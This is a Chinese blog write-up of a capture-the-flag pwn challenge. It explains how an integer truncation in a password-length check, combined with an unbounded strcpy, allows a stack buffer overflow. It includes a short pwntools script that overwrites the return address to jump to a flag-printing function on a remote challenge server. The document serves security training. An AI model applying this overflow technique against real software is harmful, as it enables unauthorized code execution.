CTF:第六题

忙了一周,结束了,继续

https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5058&page=1

第六题是这样的,呃,这个题有点是考眼神了

题目伪码是这样的

 

 

三个关键函数,都在如上,还有一个特殊函数输出flag的

好了,可以开始分析了。

这题绝对是考眼神的

仔细看了一下,main 函数其实没有发现问题。

login函数也是中规中矩限制了长度,

最后看到 check_passwd 函数,可以发现有一个细微的小问题,

就是strlen的返回值,赋给了一个 int8,也就是取值范围是0~255啊,

但是前面login函数接收的时候,实际上是可以接收409个字符的,

而超过255个字符长度的话,int8会被溢出,又回到从0开始的情况。

这里是不是可能就会有问题呢。

继续看check_passwd 函数,可以发现,最后有个strcpy,竟然没有限制长度,

没有用strncpy,问题可能就是这里了。

看一下 check_passwd 函数的局部变量内存布局,可以发现,dest 变量长度11字节,

加上var_9变量长度9字节(说法可能不准确,但是内存布局是这样),

局部变量的下面,是老的ebp,老的ebp下面是返回地址。也就是说,覆盖11+9+4个字节之后,就是老的返回地址了,

只要我能把老的返回地址替换成 what_is_this 的函数地址,它会自动给我输出一个flag。

按照这个思路先做一下。

整理一下信息,

密码最多可以输入409个字符,

输入 4~8 个字符或者输入 4 + 256 ~ 8 + 256 个字符也会被认为正确,(260 ~ 264)

需要覆盖第 11 + 9 + 4 个字节之后的 4 个字节。

信息整理完了,那么就开干吧。

需要拼接一个这样的字符串,‘a’ *(11 + 9 + 4) + 劫持地址 + ............ 直到263 个字符填满

写代码,劫持地址是 what_is_this 的地址

代码就是这样

 1 # a = process("./b59204f56a0545e8a22f8518e749f19f")
 2 a = remote('124.126.19.106', 51227)
 3 
 4 payload = 'a' * (11 + 9 + 4) + int322str(0x0804868B) + 'a' * (263 - 11 - 9 - 4 - 4)
 5 a.sendlineafter('choice:', '1')
 6 a.recvuntil("username:
")
 7 a.sendline('aaaa')
 8 a.recvuntil('passwd:
')
 9 print(payload)
10 a.sendline(payload)
11 
12 a.interactive()

效果

这个,真的好像来找茬了。

原文地址:https://www.cnblogs.com/suanguade/p/12991591.html